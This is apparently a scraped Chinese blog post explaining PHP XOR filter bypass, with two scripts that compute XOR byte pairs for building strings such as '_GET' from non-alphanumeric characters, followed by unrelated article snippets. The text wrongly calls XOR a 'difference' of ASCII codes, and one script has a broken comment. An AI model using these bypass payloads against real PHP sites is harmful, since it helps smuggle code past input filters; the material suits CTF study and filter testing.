异或脚本参照

2023-11-07

这是两个异或绕过的脚本,

异或是什么,^这个符号代表的是异或的意思,当我们在PHP语言中输入
echo “b”^“w” 的时候,语言本身会自动计算b和w的ascll编码值的差别,然后直接
输出该差别值的ascll编码数据是谁,这样我们就能够在不输入字母或者数字的条件下利用{}划分区域无字母数字输出数字或字母进行绕过,具体的操作过程下方


<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){#检测string的长度,作用是下面的输出刚好
				if(ord($string[$k]) == $x){#这里返回上面i和j异或后符合是k的ascll编码,这样就返回了我们要的能输出的数据的异或条件,它本质上是一个遍历的操作,我们怼出来所有的操作数值的ascll的编码和我们要输出的进行对比,正确的部分进行输出
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";#找到正确的数值之后
					$index++;
					if($index == strlen($string)){#和上面的一句共同构成了能让我们进行限制过多输出的意思
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      \\dechex(255) = ff
        if($k == $argv[$i]){#跟上面一样的思路,到了一样的地方
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);#因为少于十六的ascll编码是和多于十六是不一样的,所以我们这里选择另行处理
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\{$l`$r\}";
?>
    这个其实也一样,不过这个比上面的聪明了不少,直接用255的ff来进行异或,这样大大减少了计算量,


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

异或脚本参照 的相关文章

随机推荐

  • jupyter notebook安装过程中碰到的问题:1、juepyter notebook按new创建新文件时弹出来的网页是4042、jupyter代码运行时直接跳到下一行没有运行代码

    1 juepyter notebook按new创建新文件时弹出来的网页是404是浏览器的问题 更换默认浏览器即可在系统中搜索默认应用把web浏览器改成edge 如果在更改时一直闪退无法更改默认浏览器可能是你的电脑管家工具箱的浏览器帮你自动锁
  • Linux获得管理员权限

    一 判断此时使用用户是否具有管理员权限 1 采用符号 进行判断 若使用具有管理员权限的用户登录时 将出现 符号 若使用不具有管理员权限的用户登录时 将出现 符号 2 使用uid gid 的group进行判断 具有管理员权限的用户将与root
  • TypeScript 快速上手学习系列 —— 接口

    TypeScript 接口 TypeScript 接口是一系列抽象方法的声明 是一些方法特征的集合 这些方法都是抽象的 需要由具体的类去实现 然后第三方就可以通过这些抽象方法调用 让具体的类执行具体的方法 定义 TypeScript 接口定
  • 以太坊智能合约安全监测工具 Oyente

    金色财经讯 2017年6月19日 数字资产管理公司Melonport AG与Oyente的开发者们合作 发布了一个测试版分析工具 旨在检查可执行的分布式代码合同 EDCC 的缺陷 Melonport和Oyente发布Bug检查工具 来源 金
  • Java多版本环境并存配置

    安装准备 Windows10 java8的jdk java15的jdk 本次操作是在Windows10的系统下进行的 注意 可能java对中文支持的原因 最好java环境和程序使用的路径中不要包含中文 java8 java8最简单的方式就是
  • dataframe数据按行做线性拟合

    转载 https blog csdn net m0 37324740 article details 79529963 数据形式 目的 对每一行进行线性拟合 计算斜率和评估斜率的不确定性 方法 调用python的sklearn包中的线性回归
  • 计网 -《图解http》读书笔记

    1 了解Web 网络基础 1 1 WWW World Wide Web 万维网 3项WWW构建技术 把SGML 通用标记语言 作为页面的文本标记语言的HTML HyperText Markup Language 超文本标记语言 作为文档传递
  • linux 时区 -0500,Nodejs 修改 Linux 时间、时区

    最近遇到了时区设置的问题 在Nodejs中 取当前时间 GMT格式 可以使用Date var GMTDate new Date Sun Mar 06 2016 20 42 44 GMT 0500 GMT 1 但有时候server的时间要求是
  • Java异步注解@Async详解

    一 Async注解 Async的作用就是异步处理任务 在方法上添加 Async 表示此方法是异步方法 在类上添加 Async 表示类中的所有方法都是异步方法 使用此注解的类 必须是Spring管理的类 需要在启动类或配置类中加入 Enabl
  • eclipse 导入svn 项目报 库不存在 svn: E210004: Handshake failed, data stream ended unexpectedly

    eclipse导入SVN项目报错 preface 取消代理设置 遇到 eclipse marketplace 不能打开 推荐一个 eclipse 暗黑主题 参考链接 preface 这个问题之前已经遇到 过一次 竟然忘记了 handshak
  • QT 解决提升控件后提示 No such file or directory

    在QtCreator中 给控件做提升时 提示 No such file or directory 很明显 QtCreator找不到自定义控件文件 那么可以在pro文件里面添加一句代码 INCLUDEPATH PWD widgets 自定义控
  • 周立功串口服务器维修方法,周立功医生

    涨姿势RS485作为一项标准通信协议 在工业中得到了广泛的应用特别是仪器仪表中 RS485的特点是可以组网通信且布线简单 一个主机通过RS485总线可以与多个从机通信 在实际应用中RS485通信抗干扰能力虽然强 但是必要的保护措施还是不可缺
  • 线上页面有时候elementui 的字体图标会乱码

    1 错误现象 2 问题分析 3 解决方法 3 唠嗑唠嗑 大白鹅say 针对我项目问题分析原因可能是 因为vue脚手架编译使用的和elemntui里面编译的工具不一样 如若有错误部分 请指出来 我会改正 1 错误现象 2 问题分析 查阅资料之
  • 关于SecurityException RECEIVER_EXPORTED or RECEIVER_NOT_EXPORTED

    关于SecurityException RECEIVER EXPORTED or RECEIVER NOT EXPORTED https github com android play billing samples issues 618
  • Servlet 实现上传文件

    1 基于 form 表单实现的上传文件 核心方法 HttpServletRequest 类方法 方法 描述 Part getPart String name 获取请求中给定 name 的文件 Collection
  • [创业之路-44] :复盘与自省 - 如何选择创业公司

    目录 1 看公司的愿景 X 2 看老板 X 3 看创始团队 X gt Y 4 看核心团队 X 5 看融资能力 6 看盈利能力 7 看市场 Y 8 客户 9 看产品 X 10 看技术 11 看内部管理 X 12 看个人的职位和股权 Y 13
  • ElementUI浅尝辄止29:Breadcrumb 面包屑

    显示当前页面的路径 快速返回之前的任意页面 1 如何使用 在el breadcrumb中使用el breadcrumb item标签表示从首页开始的每一级 Element 提供了一个separator属性 在el breadcrumb标签中
  • 工厂模式与抽象工厂在实际项目中的应用

    在面向对象编程中 最通常的方法是一个new操作符产生一个对象实例 new操作符就是用来构造对象实例的 但是在一些情况下 new操作符直接生成对象会带来一些问题 举例来说 许多类型对象的创造需要一系列的步骤 你可能需要计算或取得对象的初始设置
  • 优秀程序员的6大特质

    原文来自 http www iteye com news 28575 6 traits of good programmers 自认为离优秀的程序员还有一段距离 临近下班的时候特意找了下这方面的文章看看 觉得这篇文章说的很有道理 优秀的 高
  • 异或脚本参照

    这是两个异或绕过的脚本 异或是什么 这个符号代表的是异或的意思 当我们在PHP语言中输入 echo b w 的时候 语言本身会自动计算b和w的ascll编码值的差别 然后直接 输出该差别值的ascll编码数据是谁 这样我们就能够在不输入字母